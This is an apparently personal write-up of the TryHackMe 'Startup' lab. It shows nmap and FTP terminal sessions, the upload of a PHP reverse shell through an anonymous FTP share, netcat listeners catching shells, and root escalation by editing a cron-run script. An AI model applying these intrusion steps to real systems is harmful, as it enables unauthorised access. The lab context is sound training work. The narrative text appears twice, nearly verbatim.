Startup Writeup

Hello and welcome back everyone today I will be trying a new tryhackme easy room called Startup.#

Let’s start with a nmap scan.#

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ nmap -sV spice.thm
3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 00:00 EDT
4
Nmap scan report for spice.thm (10.201.119.148)
5
Host is up (0.26s latency).
6
Not shown: 997 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
21/tcp open  ftp     vsftpd 3.0.3
9
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
10
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
11
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
12

13
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
14
Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ ftp spice.thm
3
Connected to spice.thm.
4
220 (vsFTPd 3.0.3)
5
Name (spice.thm:igris): anonymous
6
331 Please specify the password.
7
Password:
8
230 Login successful.
9
Remote system type is UNIX.
10
Using binary mode to transfer files.
11
ftp> ls -la
12
229 Entering Extended Passive Mode (|||28074|)
13
150 Here comes the directory listing.
14
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 .
15
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 ..
16
-rw-r--r--    1 0        0               5 Nov 12  2020 .test.log
17
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp
18
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
19
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
20
226 Directory send OK.
21
ftp> mget *
22
mget ftp [anpqy?]?
23
229 Entering Extended Passive Mode (|||7144|)
24
550 Failed to open file.
25
mget important.jpg [anpqy?]?
26
229 Entering Extended Passive Mode (|||58179|)
27
150 Opening BINARY mode data connection for important.jpg (251631 bytes).
28
100% |****************************************************************************************************|   245 KiB  242.48 KiB/s    00:00 ETA
29
226 Transfer complete.
30
251631 bytes received in 00:01 (195.88 KiB/s)
31
mget notice.txt [anpqy?]?
32
229 Entering Extended Passive Mode (|||28203|)
33
150 Opening BINARY mode data connection for notice.txt (208 bytes).
34
100% |****************************************************************************************************|   208      182.99 KiB/s    00:00 ETA
35
226 Transfer complete.
36
208 bytes received in 00:00 (0.82 KiB/s)
37
ftp> mget .test.log
38
mget .test.log [anpqy?]?
39
229 Entering Extended Passive Mode (|||64265|)
40
150 Opening BINARY mode data connection for .test.log (5 bytes).
41
100% |****************************************************************************************************|     5        3.16 KiB/s    00:00 ETA
42
226 Transfer complete.
43
5 bytes received in 00:00 (0.01 KiB/s)
44
ftp> cd ftp
45
250 Directory successfully changed.
46
ftp> ls -la
47
229 Entering Extended Passive Mode (|||48498|)
48
150 Here comes the directory listing.
49
drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 .
50
drwxr-xr-x    3 65534    65534        4096 Nov 12  2020 ..
51
226 Directory send OK.

Well i couldnt find anything interesting.#

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ ls -la
3
total 264
4
drwxrwxr-x  2 igris igris   4096 Oct 14 00:04 .
5
drwxr-xr-x 33 igris igris   4096 Oct 13 23:59 ..
6
-rw-rw-r--  1 igris igris 251631 Nov 11  2020 important.jpg
7
-rw-rw-r--  1 igris igris    208 Nov 11  2020 notice.txt
8
-rw-rw-r--  1 igris igris      5 Nov 11  2020 .test.log
9

10
┌──(igris㉿kali)-[~/Desktop/spice]
11
└─$ cat notice.txt
12
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
13

14
┌──(igris㉿kali)-[~/Desktop/spice]
15
└─$ cat .test.log
16
test

And this is the jpg file.#

Now let’s look at the website.#

It’s just a work in progress site and nothing interesting. Let’s run gobuster now.#

While gobuster was running i tried to enumerate the jpg image but didnt find anything.#

Gobuster found a directory named files so let’s check that out. It’s just the ftp directory.#

And now i got a idea what if i put a reverse shell through the ftp and open it in http. then i could get a shell. This seems good so lets try that out.#

I downloaded the famous php reverse shell by pentestmonkey and tried putting it in ftp.#

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ ftp spice.thm
3
Connected to spice.thm.
4
220 (vsFTPd 3.0.3)
5
Name (spice.thm:igris): anonymous
6
331 Please specify the password.
7
Password:
8
230 Login successful.
9
Remote system type is UNIX.
10
Using binary mode to transfer files.
11
ftp> put shell.php
12
local: shell.php remote: shell.php
13
229 Entering Extended Passive Mode (|||41255|)
14
553 Could not create file.
15
ftp> cd ftp
16
250 Directory successfully changed.
17
ftp> put shell.php
18
local: shell.php remote: shell.php
19
229 Entering Extended Passive Mode (|||16390|)
20
150 Ok to send data.
21
100% |****************************************************************************************************|  5494       28.16 MiB/s    00:00 ETA
22
226 Transfer complete.
23
5494 bytes sent in 00:00 (10.75 KiB/s)
24
ftp>

I couldnt put it in the files folder but could in ftp so yessss it worked. Now i started a listener and got hit the shell.php with curl.#

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ nc -lnvp 4444
3
listening on [any] 4444 ...
4
connect to [10.17.58.191] from (UNKNOWN) [10.201.119.148] 39142
5
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
6
 04:17:57 up 20 min,  0 users,  load average: 0.00, 0.01, 0.05
7
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
8
uid=33(www-data) gid=33(www-data) groups=33(www-data)
9
/bin/sh: 0: can't access tty; job control turned off
10
$ whoami
11
www-data
12
$

And we got the shell as www-data.#

I found a text file named recipe.txt and it contained the answer to the 1st question.#

Now we need to find a way to get shell as lennie the user on the box.#

I always see this linpeas on everyones writeup’s but havent tried it myself yet so i think it’s time to give it a try.#

First i downloaded the linpeas script and put it in the /tmp folder of the target machine. And executed linpeas.#

With that i found a incidents folder and looking inside it there was a .pcapng file so i downloaded it and looked through wireshark.#

Looking at the file i found that someone else had also gotten a reverse shell and lennie’s password was there. And i logged in as lennie.#

And i got the user flag. Now need to escalate to root.#

I tried sudo -l but lennie couldnt run anything on the box.#

I tried another software called lspy64 to search for active processes on the machine and found a process#

1
2025/10/14 06:00:01 CMD: UID=0     PID=31244  | /bin/bash /home/lennie/scripts/planner.sh
2
2025/10/14 06:00:01 CMD: UID=0     PID=31243  | /bin/sh -c /home/lennie/scripts/planner.sh

looking at the file we can see that another file named print.sh is also beeing executed which we can edit.#

1
lennie@startup:~/scripts$ cat planner.sh
2
cat planner.sh
3
#!/bin/bash
4
echo $LIST > /home/lennie/scripts/startup_list.txt
5
/etc/print.sh

So let’s edit the print.sh file to contain our reverse shell and start a listener and hope to get the shell as root.#

1
┌──(igris㉿kali)-[~/Desktop/spice]
2
└─$ nc -lnvp 5555
3
listening on [any] 5555 ...
4
connect to [10.17.58.191] from (UNKNOWN) [10.201.119.148] 41940
5
bash: cannot set terminal process group (31291): Inappropriate ioctl for device
6
bash: no job control in this shell
7
root@startup:~#

Hello and welcome back everyone today I will be trying a new tryhackme easy room called Startup.#

Let’s start with a nmap scan.#

ftp, ssh and http are open so let’s try to login to ftp as anonymous.#

Just as i guessed anonymous login is possible and i searched ftp. This is everything i did i downloaded the files to my machine for further looking at it.#

Well i couldnt find anything interesting.#

And this is the jpg file.#

Now let’s look at the website.#

It’s just a work in progress site and nothing interesting. Let’s run gobuster now.#

While gobuster was running i tried to enumerate the jpg image but didnt find anything.#

Gobuster found a directory named files so let’s check that out. It’s just the ftp directory.#

And now i got a idea what if i put a reverse shell through the ftp and open it in http. then i could get a shell. This seems good so lets try that out.#

I downloaded the famous php reverse shell by pentestmonkey and tried putting it in ftp.#

I couldnt put it in the files folder but could in ftp so yessss it worked. Now i started a listener and got hit the shell.php with curl.#

And we got the shell as www-data.#

I found a text file named recipe.txt and it contained the answer to the 1st question.#

Now we need to find a way to get shell as lennie the user on the box.#

I always see this linpeas on everyones writeup’s but havent tried it myself yet so i think it’s time to give it a try.#

First i downloaded the linpeas script and put it in the /tmp folder of the target machine. And executed linpeas.#

With that i found a incidents folder and looking inside it there was a .pcapng file so i downloaded it and looked through wireshark.#

Looking at the file i found that someone else had also gotten a reverse shell and lennie’s password was there. And i logged in as lennie.#

And i got the user flag. Now need to escalate to root.#

I tried sudo -l but lennie couldnt run anything on the box.#

I tried another software called lspy64 to search for active processes on the machine and found a process#

looking at the file we can see that another file named print.sh is also beeing executed which we can edit.#

So let’s edit the print.sh file to contain our reverse shell and start a listener and hope to get the shell as root.#

And we are in as root. Let’s read the root flag and another machine is completed…#